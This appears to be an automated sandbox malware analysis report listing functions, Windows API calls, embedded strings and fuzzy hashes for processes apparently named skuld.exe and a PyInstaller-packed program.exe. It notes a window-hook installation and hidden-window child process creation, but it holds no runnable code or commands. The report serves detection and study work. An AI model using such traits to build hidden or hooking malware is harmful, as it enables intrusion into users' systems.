Snapshot File: hcaresult_2_2_7ffb4a130000_eternal.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 8e32cf153686a4bf5303edc510d84ecdbaeae5bd4222bc5c6c733c40289cfbc6
Instruction ID: 471c3cfb24f52ed2fd49cc86167c6399c1edd94a21b8841ce9dba7e856bf98a6
Opcode Fuzzy Hash: 8e32cf153686a4bf5303edc510d84ecdbaeae5bd4222bc5c6c733c40289cfbc6
Instruction Fuzzy Hash: CB312B7190CA4D4FDB18EF6CD8466F9BBE1EF55321F10427ED009C3192CE64A812CB81

Function 00007FFB4A132B62 Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFB4A1332D1

Memory Dump Source

Source File: 00000002.00000002.3242525370.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4a130000_eternal.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 15292747addaf39e739917e3ca3a1b3591ac89d191da05f776c5439ce5feb34d
Instruction ID: 0e71faef3c9cb81b8ae004bc3a77573547f9f3698b97590fb316061884cf7b29
Opcode Fuzzy Hash: 15292747addaf39e739917e3ca3a1b3591ac89d191da05f776c5439ce5feb34d
Instruction Fuzzy Hash: 8931E671A1CA1D8FEB58EF6CD8066F977E5EB59321F10413ED04ED3251CE60A8128BC5

Non-executed Functions

Function 00007FFB4A13669D Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242525370.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4a130000_eternal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ae67ad1b043c91e401570ecffe9ca2d6c8fbd00c2a182062d69933961571a
Instruction ID: ebdda85eb13cd870af3f56c6609309d5fb1959d182a7a85bf264e34c9d59d253
Opcode Fuzzy Hash: a72ae67ad1b043c91e401570ecffe9ca2d6c8fbd00c2a182062d69933961571a
Instruction Fuzzy Hash: 1ED1D77190C74D4FEB19EFA8D8456E9BBE1EF96321F1442AFD049C3292CE746805CB91

Analysis Process: skuld.exePID: 3872, Parent PID: 2852COMMON

Executed Functions

Function 00D64DE0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1548914737.0000000000CF1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000003.00000002.1548669251.0000000000CF0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550008389.0000000001633000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550039957.000000000163B000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550070035.000000000163C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550208273.0000000001640000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550247719.0000000001645000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550298413.0000000001649000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550403280.0000000001659000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550481571.000000000165C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550542165.0000000001676000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550565836.0000000001677000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550595214.0000000001679000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550631447.000000000168A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550659968.000000000168E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550687873.000000000168F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550725759.00000000016A5000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550725759.00000000016AB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550725759.00000000016C2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550725759.00000000016C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550725759.00000000016F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550944413.00000000016FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550984975.0000000001718000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1551009951.0000000001719000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_cf0000_skuld.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f534232bf1c6ba2bd4c45eff9a9e7b72a6ee4da9b2d280db604ca2125ba236fe
Instruction ID: 9884ae7dd942394ac47826abdbbefc86d9c42104ba989b633c82d0f355911fc7
Opcode Fuzzy Hash: f534232bf1c6ba2bd4c45eff9a9e7b72a6ee4da9b2d280db604ca2125ba236fe
Instruction Fuzzy Hash: 5F31982791CFC482D3218B24F5413AAB364F7A9784F15A315EFC812A1ADF38E2E5CB50

Function 00D61100 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1548914737.0000000000CF1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000003.00000002.1548669251.0000000000CF0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550008389.0000000001633000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550039957.000000000163B000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550070035.000000000163C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550208273.0000000001640000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550247719.0000000001645000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550298413.0000000001649000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550403280.0000000001659000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550481571.000000000165C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550542165.0000000001676000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550565836.0000000001677000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550595214.0000000001679000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550631447.000000000168A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550659968.000000000168E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550687873.000000000168F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550725759.00000000016A5000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550725759.00000000016AB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550725759.00000000016C2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550725759.00000000016C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550725759.00000000016F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550944413.00000000016FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1550984975.0000000001718000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1551009951.0000000001719000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_cf0000_skuld.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6226d625974f41b655ebad5d25ed4558e083c2262c14460cf3d0e00d19dfb20c
Instruction ID: 80019dc4ddb0fe301f424796f8e716d0101d7a9678c4ba98569a6b04074d1549
Opcode Fuzzy Hash: 6226d625974f41b655ebad5d25ed4558e083c2262c14460cf3d0e00d19dfb20c
Instruction Fuzzy Hash:

Analysis Process: program.exePID: 4464, Parent PID: 2852COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	29

Executed Functions

Function 00007FF72C6589E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72C659390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF72C6545F4,00000000,00007FF72C651985), ref: 00007FF72C6593C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658A56

Part of subcall function 00007FF72C66A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66A490

Part of subcall function 00007FF72C66871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C668783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658AE6
CreateProcessW.KERNELBASE ref: 00007FF72C658B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658B28

Part of subcall function 00007FF72C652C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652C9E
Part of subcall function 00007FF72C652C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652D63
Part of subcall function 00007FF72C652C50: MessageBoxW.USER32 ref: 00007FF72C652D99

RegisterClassW.USER32 ref: 00007FF72C658B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658B8B
CreateWindowExW.USER32 ref: 00007FF72C658BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658C15
PeekMessageW.USER32 ref: 00007FF72C658C39
TranslateMessage.USER32 ref: 00007FF72C658C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658C51
PeekMessageW.USER32 ref: 00007FF72C658C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658E04
GetExitCodeProcess.KERNELBASE ref: 00007FF72C658E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658E2F

Strings

PyInstaller Onefile Hidden Window, xrefs: 00007FF72C658B95
Failed to create child process!, xrefs: 00007FF72C658B30
PyInstallerOnefileHiddenWindow, xrefs: 00007FF72C658B54
CreateProcessW, xrefs: 00007FF72C658B37

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: aeca1c47379d912acac750598a1b9216697a077a5fed72815e5a2203fa9fd90c
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 48D19631A08A8386E711AF34EC552ADB7A2FFA47A8F900635DA5D43A94DF3CD149CB10

Function 00007FF72C651000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to convert DLL search path!, xrefs: 00007FF72C653DDC
_PYI_SPLASH_IPC, xrefs: 00007FF72C653A23, 00007FF72C653EF5
bye-runtime-tmpdir, xrefs: 00007FF72C653B68
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF72C653B32
pyi-contents-directory, xrefs: 00007FF72C653B8D
MEI, xrefs: 00007FF72C653933
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF72C653882, 00007FF72C6538AF
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF72C653EA6
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF72C653EBB
_PYI_ARCHIVE_FILE, xrefs: 00007FF72C6538D2, 00007FF72C6539FF
Py_GIL_DISABLED, xrefs: 00007FF72C653AF4
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF72C653C61
Could not create temporary directory!, xrefs: 00007FF72C653CBF
VCRUNTIME140.dll, xrefs: 00007FF72C653DB1
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF72C653A0B, 00007FF72C653CD4, 00007FF72C653F6B
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF72C653D35
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF72C653BE8
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF72C6539DE
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF72C653A17, 00007FF72C653A2F, 00007FF72C653A9B
Failed to remove temporary directory: %s, xrefs: 00007FF72C653FCF
pyi-python-flag, xrefs: 00007FF72C653AD6
pyi-disable-windowed-traceback, xrefs: 00007FF72C653BB2
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF72C653D12
pkg, xrefs: 00007FF72C6539BE
Failed to start splash screen!, xrefs: 00007FF72C653ED4
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF72C653971
Failed to load splash screen resources!, xrefs: 00007FF72C653E85
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF72C653E0A

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 56efb0c328102eab1d406dba677a265d22c75a80e3e063e6a6bdbd0eb2694019
Instruction ID: 622d26e9a56d379b62f4068e735e4b703384393e3ae7f8cd4b57c91dcd2d8ece
Opcode Fuzzy Hash: 56efb0c328102eab1d406dba677a265d22c75a80e3e063e6a6bdbd0eb2694019
Instruction Fuzzy Hash: 49329F21A0C68251FA17F7249C552B9A7A3FF64BE0FE84436DB4D426C6DF2CE558CB20

Function 00007FF72C676964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72C676698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6766D9
Part of subcall function 00007FF72C676698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C676757
Part of subcall function 00007FF72C676698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6767A8

CreateFileW.KERNELBASE ref: 00007FF72C676A6A
CreateFileW.KERNEL32 ref: 00007FF72C676ABA
GetLastError.KERNEL32 ref: 00007FF72C676AEA
GetFileType.KERNELBASE ref: 00007FF72C676AFF
GetLastError.KERNEL32 ref: 00007FF72C676B09
CloseHandle.KERNEL32 ref: 00007FF72C676B3C
CloseHandle.KERNEL32 ref: 00007FF72C676C9F
CreateFileW.KERNEL32 ref: 00007FF72C676CD4
GetLastError.KERNEL32 ref: 00007FF72C676CE3

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: c9a6c08779169ed6fbac53a333c9f426242b0e566be1c14cde0df1f5ee08c69c
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 69C10133B28A4285EB11EF64C8812AC7772FB99BA8F910639DE1E57794CF38D015CB10

Function 00007FF72C6583C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C65842B
RemoveDirectoryW.KERNEL32(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C6584AE
DeleteFileW.KERNELBASE(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C6584CD
FindNextFileW.KERNELBASE(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C6584DB
FindClose.KERNEL32(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C6584EC
RemoveDirectoryW.KERNELBASE(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C6584F5

Strings

%s\*, xrefs: 00007FF72C6583F2

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: acfef818fa757435a00dbfbc73a2c9f3f3a68c5db68a1fd3ca24e20c6487c443
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: 4A416521A0C54285EB61BB64E8441BAA362FFA87A4FD00631DB9D43AD4DF3CD549CF50

Function 00007FF72C659280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF72C6592B3
FindClose.KERNELBASE ref: 00007FF72C6592C2

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: 99c73fc6a28612792b6c6d8362d0e314c348d17b3c172c1cdf7a5882f38cef59
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: F6F0C822A1C74286F7619B60B889776B351FB94378F940735DA6D02AD4DF3CD059CE00

Function 00007FF72C651950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72C657F90: _fread_nolock.LIBCMT ref: 00007FF72C65803A

_fread_nolock.LIBCMT ref: 00007FF72C651A1B

Part of subcall function 00007FF72C652910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF72C651B6A), ref: 00007FF72C65295E

Strings

Could not allocate memory for archive structure!, xrefs: 00007FF72C651A61
malloc, xrefs: 00007FF72C651B22
fread, xrefs: 00007FF72C651A32, 00007FF72C651B5C
fseek, xrefs: 00007FF72C6519F5
MEI, xrefs: 00007FF72C651991
Failed to seek to cookie position!, xrefs: 00007FF72C6519EE
Failed to read cookie!, xrefs: 00007FF72C651A2B
Error on file., xrefs: 00007FF72C651B8D
Could not allocate buffer for TOC!, xrefs: 00007FF72C651B1B
Could not read full TOC!, xrefs: 00007FF72C651B55
calloc, xrefs: 00007FF72C651A68

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 75df882cb69919a76d97c614361eef51b2ec2ab8d5059f73c2ac4bb1c74e6529
Instruction ID: 05d1e98607e00c0932de05aeb01288415088a65e3b3c311ea904c174ccc401cc
Opcode Fuzzy Hash: 75df882cb69919a76d97c614361eef51b2ec2ab8d5059f73c2ac4bb1c74e6529
Instruction Fuzzy Hash: D981D671A0C68286EB22FB14DC412B9B3A2FFA47A4FE04435DA8D43785DE3CE5458F60

Function 00007FF72C651600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF72C651749
Failed to extract %s: failed to open archive file!, xrefs: 00007FF72C6516A2
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF72C6516DA
fopen, xrefs: 00007FF72C651663
fread, xrefs: 00007FF72C6517E6
fseek, xrefs: 00007FF72C6516E1
Failed to extract %s: failed to open target file!, xrefs: 00007FF72C65165C
Failed to create symbolic link %s!, xrefs: 00007FF72C651622
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF72C6517CA
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF72C651742
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF72C6517DF
fwrite, xrefs: 00007FF72C6517D1

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: d7e5a8d788c56064f5ee056adac7b7af7416d0cf868ad80b96a324f46d3978b4
Instruction ID: 7a8256f425ef56693fea974cd6de1fa983b96e23732f8caa7f317c581f33775f
Opcode Fuzzy Hash: d7e5a8d788c56064f5ee056adac7b7af7416d0cf868ad80b96a324f46d3978b4
Instruction Fuzzy Hash: 02519061B0864392EA12BB119C111B9A3A2FFA07F4FE44535EE1C07BD6DE3CE5498F60

Function 00007FF72C658660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF72C653CBB), ref: 00007FF72C658704
